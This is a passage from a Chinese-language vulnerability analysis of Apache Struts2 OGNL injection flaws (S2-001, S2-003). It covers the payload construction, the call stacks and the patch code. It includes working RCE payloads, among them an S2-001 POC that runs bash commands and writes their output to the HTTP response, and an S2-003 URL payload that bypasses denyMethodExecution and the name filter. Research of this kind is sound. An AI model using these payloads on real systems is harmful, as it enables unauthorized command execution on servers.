age;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">String</span> getName() {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> name;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">void</span> setName(<span class="code-snippet__built_in">String</span> name) {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.name = name;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> Integer getAge() {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> age;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">void</span> setAge(Integer age) {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.age = age;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">void</span> main(<span class="code-snippet__built_in">String</span>[] args) throws Exception {</span></code><code><span class="code-snippet_outer">        User rootUser = <span class="code-snippet__keyword">new</span> User(<span class="code-snippet__string">&#34;tom&#34;</span>,<span class="code-snippet__number">18</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        Map&lt;<span class="code-snippet__built_in">String</span>, User&gt; context = <span class="code-snippet__keyword">new</span> HashMap&lt;<span class="code-snippet__built_in">String</span>, User&gt;();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        context.put(<span class="code-snippet__string">&#34;user1&#34;</span>,<span class="code-snippet__keyword">new</span> User(<span class="code-snippet__string">&#34;jack&#34;</span>,<span class="code-snippet__number">20</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        context.put(<span class="code-snippet__string">&#34;user2&#34;</span>,<span class="code-snippet__keyword">new</span> User(<span class="code-snippet__string">&#34;rose&#34;</span>,<span class="code-snippet__number">22</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        OgnlContext oc = <span class="code-snippet__keyword">new</span> OgnlContext();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//ognl由root和context两部分组成</span></span></code><code><span class="code-snippet_outer">        oc.setRoot(rootUser);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        oc.setValues(context);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//get ognl的root的值的时候，直接写希望获取的值的名字就可以了</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">String</span> name = (<span class="code-snippet__built_in">String</span>) Ognl.getValue(<span class="code-snippet__string">&#34;name&#34;</span>,oc,oc.getRoot());</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        Integer age = (Integer) Ognl.getValue(<span class="code-snippet__string">&#34;age&#34;</span>,oc,oc.getRoot());</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//get ognl非root的值的时候，需要使用#</span></span></code><code><span class="code-snippet_outer">        User name1 = (User) Ognl.getValue(<span class="code-snippet__string">&#34;#context[&#39;user1&#39;]&#34;</span>,oc,oc.getRoot());</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">String</span> name2 = (<span class="code-snippet__built_in">String</span>) Ognl.getValue(<span class="code-snippet__string">&#34;#user2.name&#34;</span>,oc,oc.getRoot());</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        Integer age1 = (Integer) Ognl.getValue(<span class="code-snippet__string">&#34;#user1.age&#34;</span>,oc,oc.getRoot());</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        Integer age2 = (Integer) Ognl.getValue(<span class="code-snippet__string">&#34;#user2.age&#34;</span>,oc,oc.getRoot());</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//ognl的getValue函数可以直接执行java函数</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">Object</span> obj = Ognl.getValue(<span class="code-snippet__string">&#34;&#39;helloworld&#39;.length()&#34;</span>,oc.getRoot());</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//访问静态属性和方法的时候需要使用@</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">Object</span> obj2 = Ognl.getValue(<span class="code-snippet__string">&#34;@java.lang.Runtime@getRuntime().exec(&#39;open /Applications/Calculator.app/&#39;)&#34;</span>,oc.getRoot());</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><br/></p><p><span style="font-size: 17px;">S2-001</span></p><p><span style="font-size: 14px;"><strong>适用版本：2.0.0 - 2.0.8</strong></span></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(0, 0, 0);text-align: left;" class="active brush">简易POC</p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="shell"><code><span class="code-snippet_outer">%{@java.lang.Runtime@getRuntime().exec(&#34;open /Applications/Calculator.app/&#34;)}</span></code></pre></section><p><span style="font-size: 14px;">只命令执行，无回显。</span></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(0, 0, 0);text-align: left;" class="active brush">实用POC</p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer">%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{&#34;/bin/bash&#34;, &#34;-c&#34;, &#34;whoami&#34;})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(&#34;com.opensymphony.xwork2.dispatcher.HttpServletResponse&#34;),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}</span></code></pre></section><p><span style="font-size: 14px;">通过重写response实现命令回显。</span></p><p><span style="background-color: rgb(214, 214, 214);font-size: 14px;">注意1：tomcat在处理post参数的时候遇到 %{*}的形式会报空指针异常，所以post参数传的时候要做url编码。</span></p><p><span style="background-color: rgb(214, 214, 214);font-size: 14px;">注意2：为了研究的目的，仅第一版POC给出实用版，剩下的研究仅提供简易版来验证RCE的存在。</span></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">漏洞原理</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p><span style="font-size: 14px;">ognl表达式的getValue函数本身具有执行java代码的能力，最基础的形式如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"> public class Ognltest {</span></code><code><span class="code-snippet_outer">public static void main(String[] args) throws OgnlException {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    OgnlContext context = new OgnlContext();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    Object obj = Ognl.getValue(&#34;&#39;helloworld&#39;.length()&#34;,context);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    System.out.println(obj);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    Object obj1 = Ognl.getValue(&#34;@java.lang.String@format(&#39;foo %s&#39;,&#39;bar&#39;)&#34;,context);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    System.out.println(obj1);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    Object obj2 = Ognl.getValue(&#34;@java.lang.Runtime@getRuntime().exec(&#39;open /Applications/Calculator.app/&#39;)&#34;,context);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="font-size: 14px;">也就是说，当Ognl.getValue的第一个参数可控的时候，就可以造成RCE。</span></p><p><span style="font-size: 14px;">struts2用来处理传入参数以及request中各项参数的值栈OgnlValueStack在进行取值的时候，就会去调用ognl的getValue参数，从而造成命令执行。</span></p><p><br/></p><p><span style="font-size: 14px;">看一下调用栈，只跟到Ognl.getValue，因为到这一步已经可以确认RCE了</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.39669421487603307" data-s="300,640" style="" data-type="png" data-w="968" src="https://wechat2rss.xlab.app/img-proxy/?k=bae5dbd3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtVdadNxjdd2UaazU0TmmXYydR5cicgiaZtxUUo5Ogcvic1JGjPJcS4iaAaA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">先说一下为什么触发点是从doEndTag开始：当你在输入框中输入了用户名或密码后，ST2需要将你输入的值保留在jsp页面表单对应的value上，所以就会去调用doEndTag方法。</span></p><p><br/></p><p><span style="font-size: 14px;">关键函数在TextParseUtil.translateVariables</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"> public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {</span></code><code><span class="code-snippet_outer">        Object result = expression;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        while(true) {</span></code><code><span class="code-snippet_outer">            int start = expression.indexOf(open + &#34;{&#34;);</span></code><code><span class="code-snippet_outer">            int length = expression.length();</span></code><code><span class="code-snippet_outer">            int x = start + 2;</span></code><code><span class="code-snippet_outer">            int count = 1;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            while(start != -1 &amp;&amp; x &lt; length &amp;&amp; count != 0) {</span></code><code><span class="code-snippet_outer">                char c = expression.charAt(x++);</span></code><code><span class="code-snippet_outer">                if (c == &#39;{&#39;) {</span></code><code><span class="code-snippet_outer">                    ++count;</span></code><code><span class="code-snippet_outer">                } else if (c == &#39;}&#39;) {</span></code><code><span class="code-snippet_outer">                    --count;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            int end = x - 1;</span></code><code><span class="code-snippet_outer">            if (start == -1 || end == -1 || count != 0) {</span></code><code><span class="code-snippet_outer">                return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            String var = expression.substring(start + 2, end);</span></code><code><span class="code-snippet_outer">            Object o = stack.findValue(var, asType);</span></code><code><span class="code-snippet_outer">            ...</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"> }</span></code></pre></section><section><span style="font-size: 14px;">translateVariables函数传过来的open参数的值是&#39;%&#39;，在截取var的时候是截取的 open+{ 之后的字符串，并把var传入stack.getValue，这也是我们的poc构造的时候要写成%{*}形式的原因。进入stack.getValue之后就是顺理成章的进入到Ognl.getValue中去了。</span></section><section style="text-align: left;"><br/></section><section style="text-align: left;"><span style="font-size: 14px;">关于实用版本的POC，还有有一个值得一提的地方，就是如何让命令进行回显，这里就是通过struts2处理response的com.opensymphony.xwork2.dispatcher.HttpServletResponse类来写入了我们命令执行的回显。不过随着struts版本的升级，处理response的类会改变，因此写入回显的类也会发生变化。</span></section><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(68, 68, 68);text-align: left;" class="active brush">修复</p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><section><span style="font-size: 14px;">去看一下S2-001的修复代码，修复放也在了TextParseUtil.translateVariables函数中，</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">  public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator, int maxLoopCount) {</span></code><code><span class="code-snippet_outer">        Object result = expression;</span></code><code><span class="code-snippet_outer">        int loopCount = 1;</span></code><code><span class="code-snippet_outer">        int pos = 0;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        while(true) {</span></code><code><span class="code-snippet_outer">            int start = expression.indexOf(open + &#34;{&#34;, pos);</span></code><code><span class="code-snippet_outer">            if (start == -1) {</span></code><code><span class="code-snippet_outer">                int pos = false;</span></code><code><span class="code-snippet_outer">                ++loopCount;</span></code><code><span class="code-snippet_outer">                start = expression.indexOf(open + &#34;{&#34;);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            if (loopCount &gt; maxLoopCount) {</span></code><code><span class="code-snippet_outer">                break;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            int length = expression.length();</span></code><code><span class="code-snippet_outer">            int x = start + 2;</span></code><code><span class="code-snippet_outer">            int count = 1;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            while(start != -1 &amp;&amp; x &lt; length &amp;&amp; count != 0) {</span></code><code><span class="code-snippet_outer">                char c = expression.charAt(x++);</span></code><code><span class="code-snippet_outer">                if (c == &#39;{&#39;) {</span></code><code><span class="code-snippet_outer">                    ++count;</span></code><code><span class="code-snippet_outer">                } else if (c == &#39;}&#39;) {</span></code><code><span class="code-snippet_outer">                    --count;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            int end = x - 1;</span></code><code><span class="code-snippet_outer">            if (start == -1 || end == -1 || count != 0) {</span></code><code><span class="code-snippet_outer">                break;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            String var = expression.substring(start + 2, end);</span></code><code><span class="code-snippet_outer">            Object o = stack.findValue(var, asType);</span></code><code><span class="code-snippet_outer">            ...</span></code><code><span class="code-snippet_outer">            ...</span></code><code><span class="code-snippet_outer">             int length2 = (left == null || left.length() &lt;= 0) ? 0 : left.length() - 1;</span></code><code><span class="code-snippet_outer">             int length3 = (middle == null || middle.length() &lt;= 0) ? 0 : middle.length() - 1;</span></code><code><span class="code-snippet_outer">             pos = Math.max((length3 + length2) + MAX_RECURSION, MAX_RECURSION);</span></code><code><span class="code-snippet_outer">             ...</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">  }</span></code></pre></section><p><span style="font-size: 14px;">ST2在修复漏洞的时候，不像一般的框架通过抛异常的方式，所以分析修复还需要把两个版本的jar包做一下比对，而且修复点还是放在了xwork的jar里面，这点需要留意。</span></p><p><span style="font-size: 15px;"><br/></span></p><p><span style="font-size: 14px;">因为ST2在处理stack值栈的时候，是根据传入的expression是否是%{*}的形式来判断这个参数是否需要传给Ognl.getValue的，POC也正是利用了这一点，把形如 %{*}的特殊参数值传了进去。这次修复的时候，在判断expression是否形如%{*}的时候加入了一个起始位置判断参数pos（而不是所有的值都是从起始位开始计算），这样的话是防止了构造特殊参数值的问题。但与此同时，我们也能看出ST2因为自身需要，无法对%{*}这种写法进行禁用，这次的特殊值是从post的参数值传过来的，下一次也可能从很多其他地方传过来，毕竟不论是header还是post的参数名等很多从request传过来的值都是需要放在OgnlValueStack中的，所以，以此为基点，也开始拉开了ST2不断被发掘RCE的起点。</span></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 17px;">S2-003</span></p><p><span style="font-size: 15px;"><strong>适用版本：2.0.0 - 2.1.8.1</strong></span></p><p><span style="font-size: 15px;"><strong>tomcat版本要求：6.0</strong></span></p><p><span style="font-size: 15px;"><strong><br/></strong></span></p><p><span style="font-size: 14px;">因为高版本的tomcat遇到了S2-003的POC中的特殊字符会报错，所以这个漏洞的复现只能在Tomcat的6.0及以前版本复现。</span></p><p><span style="font-size: 14px;">同Ognl.getValue，Ognl.setValue同意具有执行java代码的能力，写法如下， </span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer"> OgnlContext context = new OgnlContext(); </span></code><code><span class="code-snippet_outer"> Ognl.setValue(&#34;(\&#34;@java.lang.Runtime@getRuntime().exec(\&#39;open </span></code><code><span class="code-snippet_outer"> /Applications/Calculator.app/\&#39;)\&#34;)(glassy)(amadeus)&#34;,context,&#34;&#34;);</span></code></pre></section><p style="text-align: left;"><span style="font-size: 14px;">看一下这个ognl的表达式，表面上去看上去是有点诡异的，在我们上面的getValue的exp后面多了个(glassy)(amadeus)，关于ognl对上面这串表达式的执行流程是，ognl首先对(\&#34;@java.lang.Runtime@getRuntime().exec(\&#39;open /Applications/Calculator.app/\&#39;)\&#34;)(glassy)当做表达式进行计算，这个表达式返回了带有payload的ASTEval树，然后以amadeus为root再对这个AST树进行计算，从而造成了RCE.</span></p><p style="text-align: left;"><span style="font-size: 14px;"><br/></span></p><p style="text-align: left;"><span style="font-size: 14px;">如果觉得笔者说的不够详细还可以直接去看一下[官方的原文解释](<a href="http://commons.apache.org/proper/commons-ognl/language-guide.html)。" target="_blank">http://commons.apache.org/proper/commons-ognl/language-guide.html)。</a></span></p><p><span style="font-size: 14px;">S2-003就是利用了Ognl.setValue的执行java代码的能力造成的RCE。</span></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">简易POC</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer"><a href="http://www.glassy.com/test.action?(" target="_blank">http://www.glassy.com/test.action?(</a>&#39;\u0023context[\&#39;xwork.MethodAccessor.denyMethodExecution\&#39;]\u003dfalse&#39;)(a)(b)&amp;(&#39;\u0040java.lang.Runtime@getRuntime().exec(\&#39;open\u0020/Applications/Notes.app/\&#39;)&#39;)(a)(b)</span></code></pre></section><section style="text-align: left;letter-spacing: 0px;"><span style="font-size: 14px;">POC和Ognl表达式区别不大，只有两点需要留意： </span></section><section style="text-align: left;letter-spacing: 0px;"><span style="font-size: 14px;">1. 多了一个将xwork.MethodAccessor.denyMethodExecution的值设为false的操作。</span></section><section style="text-align: left;letter-spacing: 0px;"><span style="font-size: 14px;"> 2. 一些敏感字符（@、\=、#）被写成了\u00??的形式。</span></section><section style="text-align: left;letter-spacing: 0px;"><span style="font-size: 14px;">具体原因在原理中给出。</span></section><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">原理</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><section style="letter-spacing: 0px;text-align: left;"><span style="font-size: 14px;">poc要分两部分分析，第一部分(&#39;\u0023context[\&#39;xwork.MethodAccessor.denyMethodExecution\&#39;]\u003dfalse&#39;)(a)(b)</span></section><section style="letter-spacing: 0px;text-align: left;"><br/></section><section style="letter-spacing: 0px;text-align: left;"><span style="font-size: 14px;">先url变成未编码的样式去看 (&#39;#context[\&#39;xwork.MethodAccessor.denyMethodExecution\&#39;]=false&#39;)(a)(b)</span></section><section style="letter-spacing: 0px;text-align: left;"><br/></section><section style="letter-spacing: 0px;text-align: left;"><span style="font-size: 14px;">看变量名都能明白是什么意思denyMethodExecution，将禁止方法执行设置为了flase，也就是允许方法执行。</span></section><section style="letter-spacing: 0px;text-align: left;"><span style="font-size: 14px;"><br/></span></section><section style="letter-spacing: 0px;text-align: left;"><span style="font-size: 14px;">第二部分 (&#39;\u0040java.lang.Runtime@getRuntime().exec(\&#39;open%\u0020/Applications/Notes.app/\&#39;)&#39;)(a)(b) 就是我们希望传给Ognl.setValue的值 (&#39;@java.lang.Runtime@getRuntime().exec(\&#39;open /Applications/Notes.app/\&#39;)&#39;)(a)(b)</span></section><p><span style="font-size: 14px;">看一下调用栈， </span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.23369565217391305" data-s="300,640" style="" data-type="png" data-w="1104" src="https://wechat2rss.xlab.app/img-proxy/?k=b4665060&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtuKB49VXMau2fGVDmlGqUhNmFwDP908mricM1n5UXzYyKZLllh1KGK1w%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 14px;">其中在ParametersInterceptor的doIntercept方法中，可以看到把denyMethodExecution设置为了true，这也是我们poc第一部分要把值修改一下的原因，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.34676258992805753" data-s="300,640" style="" data-type="png" data-w="1390" src="https://wechat2rss.xlab.app/img-proxy/?k=5bd61112&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtibooyqEsKbptPHcPHbSp8zBAKcApmuJqib2fKHtusaaticAV68obaCLFA%2F640%3Fwx_fmt%3Dpng"/></p><section style="letter-spacing: 0px;text-align: left;"><span style="font-size: 14px;">否则的话，在调用getRuntime方法的时候，会报错，具体判断代码在XWorkMethodAccessor的callStaticMethod方法中。</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer">    public Object callStaticMethod(Map context, Class aClass, String string, Object[] objects) throws MethodFailedException {</span></code><code><span class="code-snippet_outer">        Boolean exec = (Boolean)context.get(&#34;xwork.MethodAccessor.denyMethodExecution&#34;);</span></code><code><span class="code-snippet_outer">        boolean e = exec == null ? false : exec;</span></code><code><span class="code-snippet_outer">        return !e ? super.callStaticMethod(context, aClass, string, objects) : null;</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><section style="letter-spacing: 0px;text-align: left;"></section><p><span style="font-size: 14px;">然后我们再来看一下两部分POC的字符都写成\u00??的样式的原因，第一点，我们先理解一下为什么写成这种形式，代码能识别，</span></p><p><span style="font-size: 14px;">看一下OgnlUtil类的setValue函数，可以看到它在调用Ognl.setValue的时候，会先把传过来的name放到compile函数中做一下处理，也正是这个处理将\u00??转化成了其url解码后对应的字符。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">    public static void setValue(String name, Map context, Object root, Object value) throws OgnlException {</span></code><code><span class="code-snippet_outer">        Ognl.setValue(compile(name), context, root, value);</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p style="text-align: left;"><span style="font-size: 14px;">上面解释了编码后字符能够被识别的原因，现在我们来看一下为什么要编码，在参数进入到ParametersInterceptor的setParameters函数的时候，要把参数放到acceptableName函数中做一下判断，如果不满足判断，就不会对后续参数进行处理，看一下这个函数，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.31968503937007875" data-s="300,640" style="" data-type="png" data-w="1270" src="https://wechat2rss.xlab.app/img-proxy/?k=269d4667&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtyia8uQ3DnSY4xoHOghiamh3NVERPibCwVXSWR2eLLEEcK8MR14jKlNN8w%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"> protected boolean acceptableName(String name) {</span></code><code><span class="code-snippet_outer">        return name.indexOf(61) == -1 &amp;&amp; name.indexOf(44) == -1 &amp;&amp; name.indexOf(35) </span></code><code><span 